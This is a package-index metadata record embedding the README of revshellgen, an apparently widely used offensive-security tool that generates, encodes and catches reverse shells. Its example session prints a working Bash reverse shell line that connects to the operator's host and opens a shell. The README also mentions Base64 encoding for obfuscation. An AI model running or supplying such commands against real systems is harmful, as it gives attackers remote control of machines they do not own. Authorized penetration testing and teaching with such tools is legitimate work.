{"id":13775665,"url":"https://github.com/t0thkr1s/revshellgen","last_synced_at":"2026-01-16T11:25:45.856Z","repository":{"id":38839298,"uuid":"205946051","full_name":"t0thkr1s/revshellgen","owner":"t0thkr1s","description":"Reverse shell generator written in Python 3.","archived":false,"fork":false,"pushed_at":"2025-08-06T14:59:54.000Z","size":2964,"stargazers_count":531,"open_issues_count":0,"forks_count":95,"subscribers_count":6,"default_branch":"master","last_synced_at":"2025-09-24T18:27:11.143Z","etag":null,"topics":["generator","ncat","oscp","python","python3","reverse","reverse-shell","reverse-shell-generator","security","security-tools","shell"],"latest_commit_sha":null,"homepage":"https://medium.com/infosec-adventures","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"gpl-3.0","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/t0thkr1s.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null}},"created_at":"2019-09-02T22:32:27.000Z","updated_at":"2025-09-24T17:09:31.000Z","dependencies_parsed_at":"2024-04-23T19:06:14.383Z","dependency_job_id":"316affc3-15b0-4366-82dd-aa78f09fe3bb","html_url":"https://github.com/t0thkr1s/revshellgen","commit_stats":null,"previous_names":[],"tags_count":3,"template":false,"template_full_name":null,"purl":"pkg:github/t0thkr1s/revshellgen","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t0thkr1s%2Frevshellgen","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t0thkr1s%2Frevshellgen/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t0thkr1s%2Frevshellgen/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t0thkr1s%2Frevshellgen/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/t0thkr1s","download_url":"https://codeload.github.com/t0thkr1s/revshellgen/tar.gz/refs/heads/master","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/t0thkr1s%2Frevshellgen/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":28478247,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-01-16T06:30:42.265Z","status":"ssl_error","status_checked_at":"2026-01-16T06:30:16.248Z","response_time":107,"last_error":"SSL_read: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["generator","ncat","oscp","python","python3","reverse","reverse-shell","reverse-shell-generator","security","security-tools","shell"],"created_at":"2024-08-03T17:01:45.469Z","updated_at":"2026-01-16T11:25:45.851Z","avatar_url":"https://github.com/t0thkr1s.png","language":"Python","readme":"\u003cdiv align=\"center\"\u003e\n\n# 🚀 RevShellGen\n\n**Reverse Shell Generator**\n\n[![Python](https://img.shields.io/badge/Python-3.6%2B-blue?style=for-the-badge\u0026logo=python)](https://www.python.org/)\n[![License](https://img.shields.io/badge/License-GPL%20v3-green?style=for-the-badge)](https://github.com/t0thkr1s/revshellgen/blob/master/LICENSE)\n[![Stars](https://img.shields.io/github/stars/t0thkr1s/revshellgen?style=for-the-badge)](https://github.com/t0thkr1s/revshellgen/stargazers)\n\n[![CI Tests](https://github.com/t0thkr1s/revshellgen/workflows/CI%20Tests/badge.svg)](https://github.com/t0thkr1s/revshellgen/actions/workflows/ci.yml)\n[![PyPI](https://img.shields.io/pypi/v/revshellgen?style=flat-square)](https://pypi.org/project/revshellgen/)\n\n\u003cp align=\"center\"\u003e\n  \u003cb\u003eAutomate reverse shell generation with style\u003c/b\u003e\u003cbr\u003e\n  \u003ci\u003eGenerate, encode, and catch reverse shells without the hassle\u003c/i\u003e\n\u003c/p\u003e\n\n---\n\n[Features](#-features) • [Installation](#-installation) • [Usage](#-usage) • [Shell Types](#-supported-shells) • [Contributing](#-contributing)\n\n\u003c/div\u003e\n\n## 📖 About\n\n**RevShellGen** is a powerful command-line tool that simplifies the process of generating reverse shell commands. No more looking up syntax, no more manual encoding, no more configuration headaches. This tool handles it all with an intuitive interface.\n\n### 🎯 Key Features\n\n- 🖥️ **Interactive CLI** - User-friendly menu-driven interface\n- 🔄 **Automatic encoding** - URL and Base64 encoding support\n- 📋 **Clipboard integration** - Auto-copy generated commands\n- 🌐 **Network detection** - Automatic IP address discovery\n- 🎨 **Multiple shell types** - Bash, Python, Netcat, PowerShell, and more\n- 🔊 **Built-in listener** - Automatic netcat/ncat listener setup\n- 🍎 **Cross-platform** - Full support for Linux and macOS\n- 📚 **TTY upgrade guide** - Comprehensive instructions for shell upgrades\n\n## 🚀 Quick Start\n\n### Option 1: Install from PyPI\n```bash\n# Install from PyPI\npip install revshellgen\n\n# Run the tool\nrevshellgen\n```\n\n### Option 2: Install from Source\n```bash\n# Clone the repository\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\n\n# Install dependencies\npip3 install -r requirements.txt\n\n# Run the tool\npython3 revshellgen.py  # or python3 revshellgen_cli.py\n```\n\n## 📦 Installation\n\n### Prerequisites\n\n- Python 3.6 or higher\n- pip (Python package manager)\n\n### Dependencies\n\nRevShellGen requires the following Python packages:\n\n| Package | Purpose |\n|---------|----------|\n| [`pyperclip`](https://pypi.org/project/pyperclip/) | Clipboard operations |\n| [`colorama`](https://pypi.org/project/colorama/) | Terminal colors |\n| [`readchar`](https://pypi.org/project/readchar/) | Interactive key input |\n| [`netifaces`](https://pypi.org/project/netifaces/) | Network interface detection |\n\n### Installation Methods\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eMethod 1: Using requirements.txt (Simplest)\u003c/b\u003e\u003c/summary\u003e\n\n```bash\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\npip3 install -r requirements.txt\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eMethod 2: Using setup.py (Traditional)\u003c/b\u003e\u003c/summary\u003e\n\n```bash\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\npython3 setup.py install\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eMethod 3: Virtual environment (Recommended for isolation)\u003c/b\u003e\u003c/summary\u003e\n\n```bash\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\npython3 -m venv venv\nsource venv/bin/activate  # On Windows: venv\\Scripts\\activate\npip3 install -r requirements.txt\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eMethod 4: Manual installation\u003c/b\u003e\u003c/summary\u003e\n\n```bash\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\npip3 install pyperclip colorama readchar netifaces\n```\n\u003c/details\u003e\n\n\u003cdetails\u003e\n\u003csummary\u003e\u003cb\u003eMethod 5: User installation (no sudo required)\u003c/b\u003e\u003c/summary\u003e\n\n```bash\ngit clone https://github.com/t0thkr1s/revshellgen\ncd revshellgen\npip3 install --user -r requirements.txt\n```\n\u003c/details\u003e\n\n### Platform-Specific Notes\n\n#### 🐧 Linux\n```bash\n# You may need to install python3-dev\nsudo apt-get install python3-dev  # Debian/Ubuntu\nsudo yum install python3-devel     # RHEL/CentOS\n```\n\n#### 🍎 macOS\n```bash\n# Install ncat for better listener support\nbrew install nmap  # Includes ncat\n```\n\n## 💻 Usage\n\n### Basic Workflow\n\n1. **Start the tool**\n   ```bash\n   python3 revshellgen.py\n   ```\n\n2. **Configure your reverse shell**\n   - Select your IP address (auto-detected)\n   - Choose a port (e.g., 4444, 9001)\n   - Select shell type (bash, python, etc.)\n   - Choose encoding (none, URL, Base64)\n\n3. **Generated command is automatically copied to clipboard**\n\n4. **Start the listener** (automatic)\n\n5. **Execute the command on the target machine**\n\n### 📸 Screenshots\n\n\u003cdiv align=\"center\"\u003e\n\u003ctable\u003e\n  \u003ctr\u003e\n    \u003ctd align=\"center\"\u003e\n      \u003cimg src=\"https://i.imgur.com/OBWE1KA.png\" width=\"400\"/\u003e\u003cbr\u003e\n      \u003cb\u003eShell Selection\u003c/b\u003e\n    \u003c/td\u003e\n    \u003ctd align=\"center\"\u003e\n      \u003cimg src=\"https://i.imgur.com/xJZ1sHB.png\" width=\"400\"/\u003e\u003cbr\u003e\n      \u003cb\u003eCommand Generation\u003c/b\u003e\n    \u003c/td\u003e\n  \u003c/tr\u003e\n\u003c/table\u003e\n\u003c/div\u003e\n\n## 🐚 Supported Shells\n\n| Shell Type | Description | Platform |\n|------------|-------------|----------|\n| **Bash** | Bash TCP reverse shell | Linux/Unix |\n| **Python** | Python-based reverse shell | Cross-platform |\n| **Netcat** | Traditional nc reverse shell | Linux/Unix |\n| **Netcat mkfifo** | Netcat with named pipe | Linux/Unix |\n| **Perl** | Perl-based reverse shell | Cross-platform |\n| **PHP** | PHP reverse shell | Cross-platform |\n| **Ruby** | Ruby-based reverse shell | Cross-platform |\n| **Java** | Java reverse shell | Cross-platform |\n| **AWK** | AWK reverse shell | Linux/Unix |\n| **Socat** | Socat reverse shell | Linux/Unix |\n| **Socat TTY** | Socat with full TTY | Linux/Unix |\n| **Telnet** | Telnet reverse shell | Linux/Unix |\n| **PowerShell** | Windows PowerShell | Windows |\n\n## 🔧 Advanced Features\n\n### TTY Shell Upgrade\n\nRevShellGen now includes comprehensive TTY upgrade instructions. After catching a shell, the tool provides:\n\n- Step-by-step PTY spawn methods\n- Terminal size detection and configuration\n- Multiple upgrade techniques for different environments\n- Troubleshooting tips for common issues\n- Quick reference commands\n\n### Encoding Options\n\n- **None** - Raw command output\n- **URL Encode** - For web application exploitation\n- **Base64** - For command obfuscation\n\n### Listener Options\n\nThe tool automatically detects and uses the appropriate netcat variant:\n- `ncat` (preferred, from nmap package)\n- `nc` (traditional netcat)\n- macOS-specific `nc` syntax support\n\n## 📝 Example Session\n\n```\n$ python3 revshellgen.py\n\n                         __         __   __                  \n  ____ ___  _  __  ___  / /  ___   / /  / /  ___ _ ___   ___ \n / __// -_)| |/ / (_-\u003c / _ \\/ -_) / /  / /  / _ `// -_) / _ \\\n/_/   \\__/ |___/ /___//_//_\\__/ /_/  /_/   \\_, / \\__/ /_//_/\n                                           /___/\n\n---------- [ SELECT IP ] ----------\n[ x ] 192.168.1.10 on eth0\n[   ] 10.0.0.5 on tun0\n[   ] Specify manually\n\n---------- [ SPECIFY PORT ] ----------\n[ # ] Enter port number : 4444\n\n---------- [ SELECT COMMAND ] ----------\n[ x ] unix_bash\n[   ] unix_python\n[   ] unix_nc_mkfifo\n...\n\n---------- [ REVERSE SHELL COMMAND ] ----------\nbash -i \u003e\u0026 /dev/tcp/192.168.1.10/4444 0\u003e\u00261\n\n[ + ] Command copied to clipboard!\n[ + ] Starting listener on port 4444...\n```\n\n## 🤝 Contributing\n\nContributions are welcome! Please feel free to submit a Pull Request. For major changes, please open an issue first to discuss what you would like to change.\n\n### Development Setup\n\n```bash\n# Clone your fork\ngit clone https://github.com/YOUR_USERNAME/revshellgen\ncd revshellgen\n\n# Create a branch\ngit checkout -b feature/your-feature-name\n\n# Make your changes and commit\ngit add .\ngit commit -m \"Add your feature\"\n\n# Push to your fork\ngit push origin feature/your-feature-name\n\n# Create a Pull Request\n```\n\n## 🐛 Issues \u0026 Support\n\nFound a bug or have a suggestion? Please [open an issue](https://github.com/t0thkr1s/revshellgen/issues) on GitHub.\n\n## 📜 License\n\nThis project is licensed under the GNU General Public License v3.0 - see the [LICENSE](LICENSE) file for details.\n\n## ⚠️ Disclaimer\n\n\u003e **This tool is intended for authorized penetration testing and educational purposes only.**\n\u003e \n\u003e The use of this tool against systems you do not own or have explicit permission to test is illegal. It is the end user's responsibility to obey all applicable local, state, and federal laws. The developers assume no liability and are not responsible for any misuse or damage caused by this program.\n\n## 🙏 Acknowledgments\n\n- [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings) - Reverse shell references\n- [ropnop](https://blog.ropnop.com/) - TTY upgrade techniques\n- [PentestMonkey](http://pentestmonkey.net/) - Reverse shell cheat sheet\n- All contributors and users of this tool\n\n---\n\n\u003cdiv align=\"center\"\u003e\n  \u003cb\u003eMade with ❤️ by \u003ca href=\"https://github.com/t0thkr1s\"\u003et0thkr1s\u003c/a\u003e\u003c/b\u003e\u003cbr\u003e\n  \u003ci\u003eStar ⭐ this repository if you find it useful!\u003c/i\u003e\n\u003c/div\u003e\n","funding_links":[],"categories":["\u003ca id=\"6e80463404d46f0493cf6e84597e4b5c\"\u003e\u003c/a\u003e工具"],"sub_categories":["\u003ca id=\"e99ba5f3de02f68412b13ca718a0afb6\"\u003e\u003c/a\u003eTor\u0026\u0026\u0026Onion\u0026\u0026洋葱"],"project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft0thkr1s%2Frevshellgen","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Ft0thkr1s%2Frevshellgen","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Ft0thkr1s%2Frevshellgen/lists"}